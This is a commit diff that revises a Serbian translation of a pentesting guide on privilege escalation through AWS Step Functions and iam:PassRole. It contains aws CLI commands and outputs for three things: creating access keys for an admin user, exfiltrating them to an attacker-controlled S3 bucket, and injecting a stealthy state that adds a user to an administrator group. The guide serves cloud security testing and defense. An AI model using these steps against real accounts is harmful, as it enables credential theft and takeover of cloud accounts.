Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-26 01:02:21 +00:00
parent e20d5b70e6
commit 492b63fb3d
@@ -4,32 +4,32 @@
## Step Functions
Za više informacija o ovoj AWS usluzi, pogledajte:
Za više informacija o ovom AWS servisu, pogledajte:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### Task resursi
### Resursi zadataka
Ove privilege escalation techniques zahtevaće korišćenje određenih AWS Step Function resursa kako bi se izvršile željene privilege escalation akcije.
Ove tehnike eskalacije privilegija zahtevaju korišćenje određenih resursa AWS Step Functions da bi se izvršile odgovarajuće akcije.
Da biste proverili sve moguće akcije, možete otići u svoj AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na:
Da biste proverili sve moguće akcije, možete otići u vaš AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na primeru:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
Ili možete otići u AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju:
Ili možete otići na AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju:
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
### `states:TestState` & `iam:PassRole`
Napadač koji ima dozvole **`states:TestState`** i **`iam:PassRole`** može testirati bilo koje stanje i dodeliti mu bilo koju IAM rolu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neautorizovan pristup drugim AWS servisima sa privilegijama tih rola. U kombinaciji, ove dozvole mogu dovesti do opsežnih neautorizovanih radnji — od manipulacije workflow-ovima i izmene podataka, preko kompromitovanja podataka i manipulacije resursima, do privilege escalation.
Napadač sa dozvolama **`states:TestState`** i **`iam:PassRole`** može testirati bilo koje stanje i proslediti mu bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neovlašćen pristup drugim AWS servisima koristeći dozvole te uloge. U kombinaciji, ove dozvole mogu dovesti do širokog spektra neovlašćenih radnji — od manipulacije tokovima rada i izmena podataka do curenja podataka, manipulacije resursima i eskalacije privilegija.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
U sledećim primerima prikazano je kako testirati state koji kreira access key za korisnika **`admin`** koristeći ove dozvole i permisivnu rolu u AWS okruženju. Ova permisivna rola bi trebalo da ima pridruženu neku visoko-privilegovanu politiku (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state-u da izvrši akciju **`iam:CreateAccessKey`**:
Sledeći primeri pokazuju kako testirati state koji kreira access key za korisnika **`admin`**, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima bilo koju politiku sa visokim privilegijama (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava izvršenje akcije **`iam:CreateAccessKey`**:
- **stateDefinition.json**:
```json
@@ -42,7 +42,7 @@ U sledećim primerima prikazano je kako testirati state koji kreira access key z
"End": true
}
```
- **Naredba** izvršena za izvođenje privesc:
- **Komanda** izvršena za izvođenje privesc-a:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
@@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
"status": "SUCCEEDED"
}
```
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulisanje workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa.
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
Napadač koji ima **`states:CreateStateMachine`** i **`iam:PassRole`** može da kreira state machine i dodeli mu bilo koju IAM role, omogućavajući neovlašćen pristup drugim AWS servisima koristeći dozvole te role. Za razliku od prethodne privesc tehnike (**`states:TestState`** i **`iam:PassRole`**), ova se ne izvršava sama od sebe — takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standard workflows**, **samo za express state machines**) da biste pokrenuli izvršenje state machine.
Napadač koji ima **`states:CreateStateMachine`** i **`iam:PassRole`** mogao bi da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS servisima sa privilegijama te uloge. Za razliku od prethodne privesc technique (**`states:TestState`** & **`iam:PassRole`**), ova se ne izvršava sama od sebe — biće vam potrebna i dozvola **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** nije dostupan za standardne tokove rada, već samo za express state machines**) da biste pokrenuli izvršavanje te mašine stanja.
```bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za korisnika **`admin`** i eksfiltrira ovaj access key u attacker-controlled S3 bucket, iskorišćavajući ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku visoko-privilegovanu politiku pridruženu (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state machine da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**.
U sledećim primerima pokazano je kako kreirati state machine koji kreira access key za korisnika **`admin`** i eksfiltrira taj access key u S3 bucket koji kontroliše napadač, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku politiku visokih privilegija (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state machine-u da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**.
- **stateMachineDefinition.json**:
```json
@@ -115,7 +115,7 @@ Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za
}
}
```
- **Komanda** izvršena da bi se kreirao **stroj stanja**:
- **Naredba** izvršena za **kreiranje state machine**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Komanda** izvršena da **pokrene izvršavanje** prethodno kreiranog state machine-a:
- **Naredba** izvršena da **pokrene izvršavanje** prethodno kreiranog stroja stanja:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
> S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju od računa žrtve.
> S3 bucket koji kontroliše napadač treba da ima dozvole za prihvatanje s3:PutObject akcije iz žrtvinog naloga.
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija workflows i pristup osetljivim resursima, što može dovesti do ozbiljnih bezbednosnih povreda.
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
### `states:UpdateStateMachine` & (nije uvek potrebno) `iam:PassRole`
### `states:UpdateStateMachine` & (not always required) `iam:PassRole`
Napadač sa **`states:UpdateStateMachine`** permisijom mogao bi da izmeni definiciju state machine-a, dodajući dodatne skrivenе state-ove koji bi mogli da završe u privilege escalation. Na taj način, kada legitimni korisnik pokrene izvršenje state machine-a, novi zlonamerni skriveni state će se izvršiti i privilege escalation će uspeti.
Napadač sa dozvolom **`states:UpdateStateMachine`** mogao bi da izmeni definiciju state machine-a, dodajući dodatna neprimetna stanja koja bi mogla da dovedu do eskalacije privilegija. Na taj način, kada legitimni korisnik pokrene izvršavanje state machine-a, novo zlonamerno neprimetno stanje će se izvršiti i eskalacija privilegija će biti uspešna.
U zavisnosti od toga koliko je permissive IAM Role povezan sa state machine-om, napadač bi se suočio sa 2 situacije:
U zavisnosti od toga koliko je permisivna IAM Role povezana sa state machine-om, napadač bi se suočio sa 2 situacije:
1. **Permissive IAM Role**: Ako je IAM Role povezan sa state machine-om već permissive (na primer ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**), onda **`iam:PassRole`** permisija ne bi bila potrebna za eskalaciju privilegija, jer ne bi bilo neophodno i menjati IAM Role — dovoljna je izmena definicije state machine-a.
2. **Not permissive IAM Role**: Za razliku od prethodnog slučaja, ovde bi napadač takođe zahtevao **`iam:PassRole`** permisiju, pošto bi bilo neophodno povezati permissive IAM Role sa state machine-om pored izmene definicije state machine-a.
1. **Permisivna IAM Role**: Ako je IAM Role povezana sa state machine-om već permisivna (npr. ima prikačen `arn:aws:iam::aws:policy/AdministratorAccess` policy), onda dozvola **`iam:PassRole`** ne bi bila potrebna za eskalaciju privilegija pošto neće biti neophodno ažurirati i IAM Role — dovoljna je izmena definicije state machine-a.
2. **Nije permisivna IAM Role**: Suprotno od prethodnog slučaja, ovde bi napadač takođe zahtevao dozvolu **`iam:PassRole`** jer bi bilo neophodno da se poveže permisivna IAM Role sa state machine-om pored izmene definicije state machine-a.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo poziva HelloWorld Lambda function, kako bi se dodalo dodatno stanje koje dodaje korisnika **`unprivilegedUser`** u **`administrator`** IAM Group. Na taj način, kada legitimni korisnik pokrene izvršavanje ažuriranog state machine-a, ovo novo zlonamerno prikriveno stanje biće izvršeno i eskalacija privilegija će biti uspešna.
The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful.
> [!WARNING]
> Ako state machine nema pridruženu permisivnu IAM Role, biće takođe potrebna dozvola **`iam:PassRole`** da bi se ažurirala IAM Role u cilju povezivanja permisivne IAM Role (na primer ona koja ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**).
> Ако state machine нема придружену permisivnu IAM Role, такође ће бити потребно дозвола **`iam:PassRole`** да би се ажурирала IAM Role у циљу повезивања permisivне IAM Role (на пример она која има придружену политику **`arn:aws:iam::aws:policy/AdministratorAccess`**).
{{#tabs }}
{{#tab name="Legit State Machine" }}
@@ -218,7 +218,7 @@ Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo pozi
{{#endtab }}
{{#endtabs }}
- **Komanda** izvršena da **ažurira** **legitimni state machine**:
- **Komanda** izvršena da **ažurira** **legitimnu state machine**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada, kao i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa.
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih proboja.
{{#include ../../../../banners/hacktricks-training.md}}